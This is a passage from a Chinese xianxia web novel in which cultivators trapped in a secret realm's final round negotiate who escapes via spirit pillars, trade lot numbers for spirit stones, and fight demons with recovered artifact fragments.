二,附身的禹康平还真被强制分离了。
看来这一轮,修士和魔物是分开的。
当时说那些话纯粹是不想让自己身上背负什么责任,没想到还真的给她说中了。
不过张苔可不认为那些魔物会永远跟他们隔开,秘境能让他们就这么轻易的传送走。
否则就是在毁抗魔秘境的信誉。
可以说,之所以一开始进入抗魔秘境,那些魔物能够如此配合,一是因为大部分魔物压根没经历过抗魔秘境甚至是秘境,陌生感和新奇感,没让祂们直接掀桌。
二是因为几千年来,只要大陆的中州没有全面沦陷,抗魔秘境的机制都是如此,魔物在最后一轮,是绝对有借助修士离开抗魔秘境的机会的。
据说为了保证修士有一定的存活率,大部分魔物不会在秘境途中鱼死网破,抗魔秘境背后的布置势力都要遵照大陆仙盟正道试探出的数据,给每一轮魔物死亡比率做出限制,以及给最终能够传送离开的魔物数量不能低于百分之十的底线。
目前来看,还有二十二只魔物,最后一轮再整点幺蛾子,本来能够存活离开抗魔秘境的魔物是符合这条线的。
但现实里恐怕是达不到百分之十这个比例,主要缘由还是在于他们这批修士总共才十六位,却奇葩地招惹太多魔物进来,中途还死了一位,满打满算人头都不够分。
就在张苔打量着环境,一边打量着环境,一边思忖着。
细看之下,能发现这些水晶帘幕的分布,像是恰好将整座宫殿划分成了一块块区域,而这些区域的中央,便是一根矗立的的殿柱。
张苔正欲走近一根柱子去探查一番,宫殿一角传来赤云宫某修士呼喊发现了此轮规则。
于是张苔放弃了这个打算,和别的区域的修士一块往那边方向赶。
规则在一扇靠墙放置的屏风上,看得出来屏风已被转过一面,将原本正对墙面的规则内容展露出来。
“最终轮·灵柱宫殿
规则一:修士在宫殿内,魔物在宫殿外,宫殿内的灵柱是彻底离开此处抗魔秘境的关键。
规则二:五位不同修士对宫殿内的某根灵柱依次灌注灵力后,第五位提供灵力的修士得以被传送离开抗魔秘境,当现场只有剩最后四位修士时,灵柱不再需要五位不同修士的灵力,第五位灌注灵力的修士不再被传送。
规则三:当灵柱具备四位不同修士的灵力时,会随机转移两位魔物至灵柱周围,第五位修士灌注灵力被传送离开后,现场还活着的魔物被瞬移至宫殿外原有位置。
规则四:现场剩下最后四位修士的时刻,宫殿大门失去阻拦作用,剩余所有魔物可破门而入。当现场剩下最后一位修士的时刻,抗魔秘境开始崩塌。”
规则内容看得在场不少修士极其不适,尤其是第二条,鼓动着他们采取计谋手段尽可能早的争当灵柱第五位输入灵力的修士。
先前那些轮中,虽然也有拿其他秘境参与者做垫脚石的对抗性规则,但是在分配上,永远有魔物先顶着。
张苔除了规则二,还比较在意的一点是规则一和规则四。
是的,张苔猜测除了规则二的离开方式,这灵柱宫殿定然还有别的出口,且和灵柱相关,不然规则一太鸡肋了,就起到一个告知魔物在外边的作用?
再结合规则四,说不定这个出去方式就是在规则四的情境下出现的,毕竟规则四中都出现了修士人数的变化,当然,这个变化也有可能是丧生在魔物手中。
所以,如果能够采取规则二的方式离开,打死她也不想通过别的方式离开。
心念电转间,耳边传来冯阳的传音,“玄天宗的向我靠过来!”
与张苔看完第二条接着其他规则不同,冯阳看完第二条,脑海里就只有一个字,“危”。
在他看来,这一局最低的人数损耗,莫过于挑出四个注定出不去的冤大头,人与人之间向来有亲疏远近,于那些赤云宫的人而言,他们玄天宗的四个人,恰好能拿来祭柱。
玄天宗另外三个人一听冯阳这么一喊,基本上明白了对方的意思,产生同样的隐忧,尤其是孙元,她自个儿就出生大族,向来知晓很多折磨得人生不如死只想要个痛快的手段。
身份调换,若是她身在赤云宫中,就绝计会强压对面,让对方“自愿”贡献出剩余灵柱的前四份灵力。
尽管张苔通过这段短暂的相处,不认为魏敏贞是这种人,但是生死面前,谁又说得准呢。
于是她一边不动声色地往冯阳那边靠近,一边打量赤云宫诸位修士的神情。
赤云宫各修士神态不一,也确实存在不怀好意打量着他们这行玄天宗的修士,但出于慎重,并未直接上来动手。
而赤云宫的领头人,魏敏贞则紧拧眉头,不知在思索什么。
张苔忽而念及最先对自己释放过善意的郑尔雅,没看到在这群人中。
仔细一感知,好家伙,此人不知什么时候脱离了人群,直接对着灵柱灌输起灵力来,她看过去的时候,此人刚结束一根,灵柱上浮现一个数字“壹”,又抽身一跃到旁边另一根灵柱继续输入起灵力来。
细数一下,郑尔雅如此操作已达七根灵柱,很是惊人,也不怕彻底被留下。
张苔相信郑尔雅不是无脑之人,更无奉献精神,乍一看较为令人惊讶的背后定有原因。
正想着要不要从刚刚输入过灵力的灵柱上仔细瞧瞧与别的灵柱是否有所不同之时,魏敏贞的话打断了她的思路。
“很明显,此轮想让我们修士互相内讧残杀,削减数量,以让出去的魔物数降至最低,若想让修士伤亡数达到最小,只能选出四位修士作为最后留下的人,为了减少变数,这四位正好可以顺便担任每根灵柱固定的前四份灵力提供者。”
“我和郑副队留下,另外......”
说着,她像是察觉到什么,“郑副队呢?郑副队你在做什么?!”
她这么一声,倒是把大家的目光都转移到郑尔雅那边去了。
郑尔雅调息止住灵力漫涌,转身朝着人群嘿嘿一笑,然后朝着魏敏贞道,“我这不是知晓魏师姐铁定会让我留下,先把这份举动做了,好让大家都安心一下。”
魏敏贞神情缓和,接着后续的话道,“留下的四位,除了我和郑副队,剩下的两位,在场所有修士抽签决定。”
这话让玄天宗的弟子大大松口气,且极其赞同,叶明堂更是直接当即大声赞誉,“魏道友英明!”
与之相反的是赤云宫那边的部分弟子,在他们眼里,如果本宗弟子齐心协力,大家是完全没有半点风险的,一位男法修以同样不弱的声势表示反对。
“魏师姐,这不合理,一路上我们照拂了玄天宗弟子这么久,若不是我们,在魔窟扩张的时候他们就必死无疑了,之后的每一分每一秒都是我们给他们赚来的,现在让他们提供前四份灵力不是应当的吗?”
孙元冷嗤一声,“应当?”
“谁若是认为应当,我即刻在他面前自杀,我身上留有麓阙仙城第一世家孙家的神魂烙印,想来家里的老祖宗是明白我的死因,又该去找谁寻仇。”
神魂烙印是修仙界大能对自家弟子或者另外重要之人的一种保护手段,通过在对方识海中留下特殊印记,一旦对方身死,印记会将死前半刻钟的景象传递给施术者。
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男法修一听此言,顿时闭嘴,修士都是眼观六路耳听八方神识敏锐的角色,怎能不知道此位的豪横。
对方摆出身份出自大族,可能还真不是放空话。
若是真的因为自己的缘故,让其在自己面前自杀,最后就算出去了,在这种大族手中,自己还真不一定能够活着。
哪怕他是大陆八大顶尖宗门之一赤云宫内门长老手下的亲传弟子,他师尊手下弟子那么多,面对这种大族,会不会为了自己出头,实在不好说。
赤云宫另外曾抱有让玄天宗的修士铺路的弟子,与这位男法修心路历程大差不差,于是赤云宫不再出现反对声音。
魏敏贞这才开口,“不知我先前的方案,留下四位,除我和郑尔雅,另外两位抽签决定,还有谁有异议?”
一一扫过现场的赤云宫弟子,其实还是能够看出一些不忿的。
“还是说,有些人觉得既然孙道友得罪不起,那就把玄天宗另外三位留下,剩下一位,我和尔雅谁都可以,是吗?”
看着有些弟子眸光闪动,魏敏贞深深叹了口气。
“我之所以选择抽签留下另外两位,是对所有规则的判断,希望留下的人,能够在后续配合我的行动,不要有太多怨怼,进而影响协作效果。”
“相信大家也不是蠢人,能够看出除了身为第五位输入灵力的人,还有别的方式离开,但相比危险性颇高的未知,你们只想着走更加万无一失的规则二,且为了不面对魔物,还得是排在前十一位的规则二方式。”
“但做人不能这么自私,身为队长,我能够主动作为留下的那一位,已然仁至义尽,你们中的部分同门,却还要为我接下来的道路增加难度,玄天宗被强迫留下来的那三位,心中能不愤恨怨怼?能按照我的指令行事?”
说着,她的神情也冷下来,“如果要如此,那就如秘境所希望的那样,大家各凭本事出去吧,我已经一退再退,自认无愧于心,待我出去之后将有着全程留影的探魔石上交,宗门觉得我失职,我甘愿领罚。”
最后一句是在以退为进,若是真到了宗门那里,魏敏贞的任务完成评级绝不会因为这点而有所折扣。
平心而论,就算魏敏贞事先没有提出让步要留下的方案,在此轮一开始便依照“大家各凭本事”通过,即便如此,综合来看,很多队伍的队长相比于魏敏贞,都是拍马难及。
这无疑让魏敏贞站在了情理两面的至高点,赤云宫众人乖顺不少,个别那几位,也看不出还有别的什么不满,一个个都喊着魏师姐,表示魏师姐承担的实在太多,再不愿意服从安排的简直与狼心狗肺无异。
魏敏贞神情缓和,“如若不幸身为留下来的那位,大家要相信我,我会竭尽所能将你们带出去。”
又当众拿出一阵盘进行展示,“这是十阶传送阵盘,另附无视禁制区域属性,容纳四人绰绰有余,如果我力有不逮,也可尝试用其离开抗魔秘境。”
目睹这一切的张苔不得不承认,魏敏贞这番唱念做打下来,权威声誉已达最高,故而接下来抽签进行的很是顺利。
抽签类灵具签筒中的灵签被设置标号从三到十五。
抽到三和四的,被要求留下,接下来便依次从十五到五,留下的修士一一送人离开。
看着拿着签筒让大家排队抽签,之后再到魏敏贞那边记录的郑尔雅,张苔又想起了她先前的反常行为,远距离又没看出灵柱被输入灵力前后的差别,她想再近距离看看。
故而她抽签很是积极,排在第二个抽的,抽到的数字是十。
和那些心神全在签号上,抽之前忐忑紧张,心中喊祖宗保佑,抽完之后发现不是自己就又是大喜又是松口气的修士不同,张苔得知签号并在魏敏贞那里记录后,就不着痕迹地远离人群,朝一根灵柱靠近。
近距离看和远距离时得到的结论一致,灵柱在灌注一份灵力前后,除了灵柱上显现出了一个“壹”,其余都是一模一样。
不死心的她想过再灌输一份灵力试试,但又觉得,自己抽到十号,如此作为被拿捏住把柄,强行要求留下便得不偿失。
可张苔绝不相信魏敏贞和郑尔雅留下,是人格高尚,别无所图。
她知道,或许在场其余修士也是这么想的,但他们无所谓,只要自己能够利用规则二毫发无损的离开,其余的都不重要。
可她是个较真的人,让她揣着满脑子疑问离开,就是浑身不舒坦。
念及这个抗魔秘境之前那些轮的特性,灵力不行,那就尝试鲜血。
说干就干,张苔利落咬破中指,旋即涂抹上灵柱。
21. 秘境(十)
一段信息突兀进入识海,尽管有所预料,张苔还是被惊得迅速缩手,甩飞几滴血液溅在地面。
用灵力化开之前积攒的益气丹药效,这点细小伤口她都不想去分神关注,心思外来的这段信息上。
“最终轮·灵柱宫殿·隐藏规则。
规则四:现场剩下最后四位修士的时刻,灵柱内的神器碎片可取用,宫殿大门不再有阻拦作用,剩余所有魔物可破门而入。当现场剩下最后一位修士的时刻,抗魔秘境开始崩塌。
规则五:最开始的三根灵柱的第一份灵力提供者,可获得规则四,之后的灵柱的第一份灵力提供者,不再会得到规则四。
规则六:灵力途径不再能够获得规则四和规则五时,第一份血液提供者,可以获得规则四、规则五、规则六,在宫殿朝魔物开放之前,灵柱宫殿不再有新的规则。”
张苔匆匆扫过所有隐藏规则,目光停留在神器碎片上。
这也是与之前展现在大众眼里的规则四,唯一不同的地方。
原谅她没见识,真的很想知道神器碎片和神器又有什么区别,拿都拿出来了,为什么不能给完整的神器?以及倒数的四位修士如果能够离开的话,能否只拿着神器碎片离开。
她忽而想到自己从第三轮出来时,获得的一样物件。
那可是她越阶杀掉眼球魔将的奖励,张苔认为对方等阶至少也得是仙器上等,为了不要让自己太浮躁激动,以至于需要服用昂贵的静心类丹药才能平息,她先前也就不曾查看过那物件的信息。
现在关于那法器,她霎时心生不好的看法。
神识探入储物法器,那物件挺像一个放戒指的小型盒盖,神识接触盒盖,具体信息浮现:
[九狱镇魔印,成长型神器的残缺部分,控制类,核心主材:某任魔帝颅骨、十阶血炼冥铁、摄魂丝、千年怨灵髓、十阶大日精金,在甲子年极阳之日,借地脉真火熔铸而成。
特性:1.镇压:可强行禁锢比持有者高一个大境界以内的所有魔物,禁锢时间视持有者能力和状态而定,燃烧精血可增加效果。
2.残缺神器,无法发挥此特性,补齐可查看。
3.残缺神器,无法发挥此特性,补齐可查看。
备注:神器发挥效果和持有者实力息息相关,实力是多方面的,不仅仅局限于修为,请持有者稳扎稳打脚踏实地去提升自我,莫要埋没了神器。]
张苔浏览完所有介绍,正想大吐槽特吐槽,就感觉肩膀被从后方碰了一下。
“嘿,你怎么在这。”
转头见是郑尔雅,张苔不客气道,“这话该是我问你吧,你不是在负责抽签事宜吗?”
郑尔雅揉着手腕,“抽完了,魏敏贞现在正思考接下来怎么行动,毕竟规则三是真的不友好,万一把那个脖子上挂着铃铛的狗魔将给传送过来了,还让祂附身跟着出去了,祂出去之后百分百会吞元,等待被附身的那个不是化成渣渣也要魔化成新的魔卫了。”
“同时也是给大家一个缓冲时间。”
张苔没吭声,回忆起此人先前向多个灵柱输入灵力的行为,再联系规则五......
斟酌一番,她不想试探浪费时间,直接传音道,“你之前,是获得过残缺神器的吧?灵柱中的那些碎片,是对应的补齐部分吗?”
郑尔雅动作一僵,目光触及到地面的血滴,又释然。
动用灵力清理掉地面的痕迹,她灿然笑着传音回,“不错,而且我若是没有猜错,你手上也有一样残缺神器,怎么样,要不要考虑跟四号交换一下签号留下?”
“四号是你们宗门的孙元,一抽到那签,她就嚷嚷着可以出灵石交换别人的签号,只是压根没人理她。”
张苔没有立即回应,目光反倒看向了魏敏贞,她手中必然也有神器碎片,且心理关于如何补全,就算不像自己这样获得了确切信息,但肯定有所猜测。
果然人皆不能免俗,之前的那些大义凛然,多少掺杂点私心。
比起武力镇压,还要预防后续对方生乱,选择动动嘴皮子留存更多实力,到最后关头来谋取神器、应对众魔物,实在是要好太多。
郑尔雅见她沉默地望向魏敏贞,还真以为她动了留下的心思,只不过在犹豫衡量。
她趁热打铁,“魏敏贞的实力这一路下来你也看到了,放心,有她开路,八成把握,咱们能够全须全尾地带着完全版神器离开。”
“那可是神器啊,还不值得你冒两分的风险吗?”
两人一边传音着,一边重新走回到了人群之中。
此刻的人群之中可不安静,不少赤云宫弟子都在议论,张苔听了一耳朵。
“没想到孙博朗素日里看着不声不响,没想到居然是这么一个绝顶好男修!”
“是啊,你说天底下的负心汉怎么光被我遇到了,入宗门前我有个道侣测出是变异灵根后就瞧不上我的单灵根抛弃了我,后来我又找了个丹修,自己本事不行,还背着我同别的女修通奸!”
“交换了个签号有什么大不了?瞧把你们女修艳羡的,依照魏师姐的能力把人带出来不是妥妥的,他这是在借花献佛。”
“那你站在这里说什么风凉话?去跟孙博朗换签号啊!”
“疯了吧,孙博朗又不是我道侣,我为什么要换?”
......
张苔也听明白了是件什么事。
原来是赤云宫中有位女修抽到了三号,她道侣实在不忍见她如此忐忑忧心,便提议交换签号,这位女修一开始不肯,后来被说服了,两人已经到魏敏贞那边进行签号交换的登记了。
“我出五十块极品灵石,无论是谁,只要乐意跟我交换签号的,这五十块极品灵石我当场奉上!”
孙元嘹亮的声音突兀出现。
五十块极品灵石呐!
张苔有片刻的晃神,又回顾了下接收到的信息,之前在赤云宫修士的争执中,有位修士劝不住架,直接将矛盾转移,提及四号签的孙元。
“好像换签最开始就是因她而起的,当时抽到四号签,我看到她脸都绿了,之后去找魏师姐似乎还是要闹,只不过被我们魏师姐压住了,我隐隐约约还听见魏师姐也搬出自己的身份了,她就怏怏而归,之后就开始砸灵石说要换签。”
效果是很明显的,话题一下子到了孙元身上,赤云宫弟子幸灾乐祸的不少,“谁换啊,虽说魏师姐强是强,但人也不是铁打的不是?万一有个疏忽谁赌的起?”
“早前看她跋扈的那副模样,还说要自杀,现在还不是得乖乖留下。”
“要我说,鬼知道那个什么麓阙仙城的孙家到底是什么实力,交换签号的买命钱,才出个几百上品灵石,买个品相好点的炉鼎都不止这点钱吧哈哈。”
“说不准几百块上品灵石都够呛,她这是知道没人会跟她换,故意喊出她估量过的‘高额买命钱’。”
孙元作为修士,这些话只要没有刻意去屏蔽,都能够清晰入耳,气急之下报出五十块极品灵石,作为交换签号的报酬。
喊完这个报价之后,更是有针对性地补充,“
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这五十块极品灵石,我是绝对拿得出来,有些人自个儿没有见识,建议这次出了秘境之后,好好打听一下我麓阙孙家的名号,旗下又有多少营生财路!”
这报酬听得在场不少修士意动,包括张苔,五十块极品灵石是什么概念?
她之前在第一轮得到的中等仙器地脉金丝缕在拍卖行,运气好的话,都不一定能够卖到这个价格。
而且这是极品灵石,硬通货,极品灵石往往可以迅速换到很多珍贵稀罕的修炼资源,但那些资源不一定能短时间内脱手,换到这么多极品灵石。
当然,像张苔从禹康平手中换到的那种高品质上等仙器,或者神器非残缺版,这种有价无市的例外。
现场迎来了一片寂静,但一时没有人站出来到孙元面前答应进行这场交易。
五十块极品灵石谁不想要?但若是真的拿命去换,去冒永远留在这里的风险,又是否真的值得?
而且身怀大笔灵石在身上,还当众被这么多人知道了,又不像孙元一样大族出身有着大量保命手段,这些灵石又能揣多久?
最怕的是,有些世家之人极为心黑,前脚在这里将灵石给了你,后脚你好不容易出了抗魔秘境,她就暗中派人杀了你,拿回灵石,也不是不可能。
交易后的下一刹,会不会反悔?而在危机重重的秘境尾声,最忌讳的,无非类似心态而导致的不佳状态,这极容易施法失误接着丧命。
这些挣扎张苔同样有过,不过她很快就做了抉择。
人为财死,鸟为食亡,更何况残缺神器只能在这里补全,假使以后注定还得来一趟,还不如此次一次性解决。
没有立即站出来是为了不显得太掉价,让对方太过后悔这个数额喊高了。
见时机差不多了,张苔才冒头道,“孙师姐,我意向与你达成这笔交易。”
这边孙元在喊完那些话,心底便有些后悔自己的一时意气,五十块极品灵石放在平日里,得是她十年的例钱加起来,若不是这次争抢到前往首任战神遗藏的家族任务,需要从里边找一件东西,家族也不会支取这么多灵石资源给她。
但话已经放出口,她索性黑吃黑,等人从抗魔秘境出去了,再在就近仙城的家族产业中,命驻守客卿跟踪此人,在合适的时机地方把人杀了,将灵石带回。
不过她没想到,率先站出来是张苔。
在她印象里,此人贪生怕死到有些极端,当初听到魔窟情况略有些严峻,第一个提出想要折返回头的便是此人。
以上都不重要,重要的是,此人实力太弱,连金丹后期的修为,都是不久前靠自己的天材地宝提上来的,这五十块极品灵石给她,十成十会在抗魔秘境打水漂。
于是孙元没搭理张苔,目光盯着赤云宫的修士一众修士,“这可是五十块极品灵石,错过这村就没这店了。”
“我想走,不是不相信你们魏师姐的能力,而是留下的四人里,有三位都是你们赤云宫的,我难免疑心重,怕自己不受重视甚至可以被用来做试探的炮灰。”
张苔被忽视,心中不快至极,面上却换成了一幅急不可耐、欲哭无泪。
“孙师姐,他们可是单灵根乃至异灵根的天之骄子,天赋异禀,又年轻,前途不可限量,五十块极品灵石,今日来看确实是遥远了些,焉知未来不是放在储物法器中吃灰?”
“不像我,草根一个,需要拿命来赌,毕竟比起在未来永世不得翻身,这五十块极品灵石,好歹是一线希望啊!哪怕在最后关头被舍弃、或者成为炮灰,我都认了!”
22. 秘境(十一)
张苔这一搅合,那些在孙元话下意动的赤云宫弟子,迅速重新审视起来。
年轻人,尤其是资质不错还有所成绩的年轻人,谁没意气风发、踌躇满志过?就算理性下来,不去畅想未来,身为大陆八大顶尖宗门亲传弟子,有着顶头的师兄师姐做例子,哪怕混得再怎么差,也能去赤云宫辖地镇主府上任职。
镇上的资源,以及倚靠镇上资源的家族,总得给他们一些油水吧?
一个万一,将所有的未来葬送在这里,实在不值。
他们完全没必要像那个灵根驳杂、根基虚浮、丹毒缠身的一辈子看得到头的庸碌之人一样去赌。
再者,此人最先站出来了,孙元为什么不搭理,偏偏还是要询问他们?
赤云宫本就不多的有意之人纷纷偃旗息鼓,孙元就知大势已去,自己的换签对象只能是张苔。
她试图在私下里跟张苔再商量商量,“张师妹,此处给东西不方便,还请随我来。”
张苔在道上混了这么多年,岂能看不出孙元的心思。
“孙师姐,当场交物有什么不方便的?我拿到手就立马跟你去魏道友那边记录。”
“你不是想要反悔吧?这可是性命攸关的大事,虽然我命贱,但孙师姐你命贵啊,五十块极品灵石,真的不能再少了。”
极品灵石当前,孙元也顾及不上什么面子不面子的了,“我手头还真有点紧,五十极品灵石实在拿不......”
不等她说完,张苔打断道,“孙师姐,我突然想起我外边还有个八十多岁的凡人老母亲等着我养老,也不是特别想冒这个险了。”
孙元咬牙,“不是说不给,拿别的品阶很高的法器丹药符箓等等来抵价。”
张苔继续头摇得跟个拨浪鼓似的,“我乡野出身,没见过什么好东西,怎么能够知道你拿的是不是赝品在糊弄我,我只认极品灵石。”
无法,孙元只能老老实实交极品灵石。
想起这五十块极品灵石大约就这么有去无回了,她就深深肉痛,归家之后定少不了一顿责骂惩罚,但比起自己的性命,这灵石又不得不掏。
张苔也认认真真鉴别品相、清点数目,次一点的,颜色淡一点的,估摸着被吸收使用过的,她还不要,让孙元另换,孙元不肯她就撂挑子说自己老母亲。
孙元简直被气得呕血,从前怎么没有看出,张苔这人这么难缠呢!
两人之间的交锋看得场外之人津津乐道,赤云宫那几个先前起过想要交易心思的,瞧孙元这种做派,半分后悔都没有了,自己若是放在张苔那个位置,恐怕连被吃的渣子都不剩。
这张苔也不愧为在底层打滚过的,果然是恶人还靠恶人磨。
叶明堂则是眼红至极,“果然咬人的狗不叫,这张苔,之前看着唯唯诺诺,现在就跟抽风了一样。”
又转头问沉默的冯阳,“喂,你倒是说句话啊,你说你到底怎么回事,自从进入抗魔秘境就格外沉默。”
冯阳说句实在话,还真是不怎么眼红,“有些人从源头就错了,哪怕之后投入地再多,也是无济于事。”
他现在只是一心想回归宗门去检验这些。
叶明堂听不懂冯阳的神神叨叨,满脸困惑看着冯阳,心道这人莫不是也疯了吧?
冯阳怜悯地看叶明堂一眼,心道如果他的猜测为真,那么大家都是可怜人,于是大发慈悲道,“你这一路下来,应该也能看出赤云宫的这些人,进阶功法与我们完全不同。”
“这不很正常,他们都是单灵根异灵根,自然不会跟我等普通大众用一样的功法,听闻有些大能爱惜自己弟子资质,根据弟子体质,亲自为其编纂功法的都有。”叶明堂不明所以。
冯阳不欲再多说,这正是问题所在,大家都习以为常,并认为是理所当然的事,却不想想自己的进阶功法真的是自己的选择与否,究竟是少部分人因为身份原因用的功法自然会上档次,还是大部分人被引导着修炼的进阶功法有问题。
他还有什么好说的呢。
就连他个人,若不是发现,郑尔雅与张苔同为三灵根,看着也不像修二代,境界更是比他与张苔低一个小境界,实力却远在他们之上,并深深为之不解,他也抓不住这丝端倪。
当然,一切在论证之前,都还是猜测,但只要回归宗门,他很快便会去论证,他不认为自己的猜测有误。
另一处,郑尔雅在魏敏贞身侧,打趣道,“魏队长,你人格魅力不足啊,这一路下来,可怜你殚精竭虑护大家周全,到头来连个愿意陪你闯刀山的都没有,甚至为了摆脱你,都能卖出五十块极品灵石的价格,啧啧啧。”
魏敏贞扫了眼倚在灵柱上没个正形的郑尔雅,“倒也不必说的如此夸张,我本来就不一定能百分百保证毫发无损地将另外两位带出去,只要局面在顺利进入下一阶段前没逼得我出手,其余权当看个热闹。”
“话说回来,你和那位的关系貌似不错,五十块极品灵石不是那么好拿的,出去之后,你看要不要提点她几句。”
这话倒是把郑尔雅给听兴奋了,“她应该心中有数,好期待她会怎么解决这件事情,让五十块极品灵石落袋为安哦。”
魏敏贞是知道自己这位队友是比较有个性的,也见怪不怪了,“那孙元是麓阙孙家按继承人培养的?这麓阙孙家我看着也约莫是走到顶了。”
郑尔雅:“这种继承人,孙家未来确实堪忧。”
“欲戴皇冠,必承其重,作为未来身上要扛一个家族兴衰的人,要多磨砺自己,多迎难而上,若异地处之,我是宁肯带着满身东西死在这里,也绝不会退缩花大把灵石买一个出去的机会,免得能力不足将来把祖宗基业给全败了。”
魏敏贞轻轻摇头,“基业是不可能败掉的,如今修仙界自上任战神平定以来,中州承平八百余载,各世家势力早已根深蒂固。寒门修士纵有惊才绝艳之辈,也难撼动这累世积威,别说孙元,就是头猪在那个位置上,孙家也不会倒。”
两人又聊了一会儿,直到张苔和孙元两人到魏敏贞这边来进行换签事项登记。
登记过后,魏敏贞觉得时机也差不多了,开始宣告安排其余修士离开事宜。
“灌注灵力的顺序按照郑副队、孙博朗、张苔、我这样来,当我第四份灵力提供完毕,魔物被传送过来的时候,我和郑尔雅负责拖住转移过来的两位魔物,对应签号离开的人抓准时机,提供第五份灵力传送离开。”
“我说明白了吗?重点在我和郑尔雅拖住魔物的时候,对应签号离开的人抓住时机离开。”
“这个过程你们可以各显身手,比如使用阵法,当魔物出来时,直接用阵法将我、郑副队和两个魔物直接转移到宫殿某个角落,或者用屏息符不声不响完成最后一份灵力提供传送走,也可找关系不错的同门进行掩护、护法等等。”
众人表示没有异议。
前面五个离开的修士,从十五号到十一号,还是很顺利的。
主要是运气好没碰到骨铃魔将,魏敏贞和郑尔雅也足够强悍,将过来的魔物硬生生给拖住了。
在一部分人应对第十一号离开传送过来的魔物时,张苔找上孙元,表示希望待会儿轮到她离开,灵柱输入到第二份灵力时,她能要求重新换一根灵柱,并趁机输入灵力将这根放弃的灵柱灵力份数变为“叁”。
“孙师姐你也说过,留下的四人中,有三位都是赤云宫的,我的情形很不利,我需要为自己留一张暗牌。”
张苔语气诚恳又客气,仿若两人之间的矛盾从不存在,最主要的是,找这个人可以直接白嫖这份灵力,找别人都得另外出灵石。
孙元则好奇她究竟还有什么手段,尽管自己如此做了,出去的灵力还是短缺一份。
张台则一脸高深莫测,“时间紧急,一两句话说不清楚,作为上一轮被认证为上宾的人,多多少少本事还是具有一些实力的。”
“等我从这趟抗魔秘境出去,我请孙师姐你吃饭。”
这表现成功燃起了孙元对那五十块极品灵石或许还能回来的信心,既然有那么一点回来的希望,孙元自是乐意出手的。
在轮到她离开的场次,她率先选了边角落的一根灵柱,在孙博朗提供完第二份灵力后,她又改变主意,说要换一根灵柱。
待其余人走去她指的另一个方向的另一根灵柱后,她一边输入灵力,仅剩不多的良心让她道,“你看我帮了你这么大一个忙,出去后吃饭就不必了,要不你把那五十块极品灵石还我,我另外给你500块上品灵石。”
在她眼里,五百块上品灵石已经不能再多了,顶得了她在家族中两个月的月例,而且她的兄弟姐妹谁若是在外边不甚玩死几个修士,对方家人再怎么硬气,五百块上品灵石也能安抚了,不能安抚送去城主府也能打点好一切。
结果自然是遭到了张苔委婉地拒绝。
孙元离开得也比较顺利,后续又要么平稳顺利,要么有惊无险地送走了三位,最后还剩下六号和五号。
张苔输灵力的时候,很清晰能感知到远处六号的紧绷忐忑,可以理解,骨铃魔将迟迟不来,而周围的人几乎都走了,能给他做掩护的也不多,他自己也是个比较平庸的。
张苔输完自己的这份灵力也跑远了,她也怕骨铃魔将来,然后阴差阳错附身在自己身上。
在九号签的时候,那群魔物摸清楚了他们这边的套路,魏敏贞和郑尔雅的特征在他们那边传开了,九号签对应的两位魔物一转移过来,都迅速逃离灵柱,随机选方向飞冲,以及随机附身这个方向的修士。
其中有位即将突破到魔将,实力在金丹大圆满的魔卫,郑尔雅没拦住,就导致当时明明是九号签的场次,七号签的叶明堂却倒了大霉,差点被附身。
虽然最终有惊无险地将事情解决了,之后魏敏贞和郑尔雅也更加机敏,尽量都在魔物从灵柱出来时就拖住,但总还是要引以为戒,小心为上不是?
可能真的是来什么怕什么,跑到宫殿一角的张苔,在魏敏贞提供完第四份灵力后,远远地就感知到一阵强烈的威压,然后就是叮叮当当一阵清脆的金铁相击声。
也不知道魏敏贞和郑尔雅是两个什么怪物,完全不怵境界之差的威压便算了,还能跟对方打个有来有回。
最后六号签还是被另外一只魔卫魔物附身,然后离开了。
剩余最后一个五号,魏敏贞提出要修
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整。
她让五号稍待,因为将她送走后,剩下的四人要面临一群疯狂的魔物,他们得做好充分准备。
之后五号的送走也还是比较平顺,来的是两位魔卫,都选择了往角落的张苔这边,而五号主打博心态,大喇喇站在灵柱附近。
魏敏贞和郑尔雅在临近角落这边将两位魔卫缠斗住,五号就开始往灵柱输灵力,没多久便被传送离开。
几乎是五号离开的瞬间,宫殿开始隐隐震颤。
所有灵柱骤然发出低沉的嗡鸣,其上盘旋的纹路逐渐暗淡,整个柱身透明化,显露出内部的一些器具。
附近的灵柱犹如水晶展柜,在其中心,张苔看见了一架白骨制成的纺车、色彩斑斓全然不同五官拼接的面具、上一轮气运赌坊的骰子……
前方的郑尔雅突然一跃而起,抵达容纳包裹着面具的那根灵柱前,将那张面具拿了出来;同时,原本她站立位置身侧的魏敏贞,人已不见,原地只剩下残影。
张苔意识到什么,神识赶紧进入储物法器与那小型盒盖相连,很快她便感知到有处位置的召唤。
顺着这个感觉,一路疾驰,中途她听到了宫殿大门轰裂破开的巨响,但她满心都是补齐神器,已经顾不上那么多了,所幸在她将东西拿到手前,没有遭到阻拦。
与先前在第三轮棺椁河分场的巨大棺椁不同,这是一具只能容纳一人的棺材,还缺少了棺盖。
拿到手时,脑海中也多出一段信息。
张苔尚未来得及细看,耳边风声乍起,感知到有魔物逼至后心,眸中寒光闪过,她单手抡起那具赤红棺椁,身形如电般旋身横扫——
"轰!"
棺椁带起凌厉气流,与扑来的六臂魔卫正面相撞。坚硬的魔骨在棺椁重击下寸寸碎裂,骨屑飞溅。那魔物六只利爪还未来得及撕扯,张苔已脚下一踏,借势腾空,抱紧棺椁在空中划出半轮血色弧光,自上而下狠狠砸落!
"咔嚓"一声爆响,铁棺将魔物当头砸入地底三尺,地面如蛛网般蔓延起龟裂的裂痕。
神识又察觉到左侧扑来的魔卫,张苔头也不回,反手将棺椁抡向身侧。棺身与魔卫相撞,竟发出金铁交鸣般的铮响。那魔卫被震退数步,另外又有三只魔物包抄,张苔毫不客气地抱着铁棺一视同仁地将祂们砸了个眼冒金星。
这些魔物一时不再敢向前,其中的魔使更是掉头就走。
张苔这才能分神查看信息。
“规则七,拿到残缺神器后,神器碎片有半刻钟无敌时间,建议持有者抓紧时间找到剩余规则和秘境出口。”
找剩余规则和出口,张苔相信魏敏贞可以做到这些,她先去尝试尝试看能否卡漏洞,不能就立马靠近魏敏贞去分享对方所获信息。
曾经无数次将本命法器青木如意抡砸当做近战法器使用,此刻张苔抱着铁棺也是尤为驾轻就熟。
手握无敌状态的神器,张苔丝毫不惧四个包围着她的魔物雄赳赳气昂昂在场中扫视着。
她要找的禹康平显然也在找她,两人对视后,张苔抱着铁棺往那边方向走去,途径某魔卫方向,对方以为她要发难,一下子窜出老远。
而其余魔卫见她要走,也丝毫不敢拦。
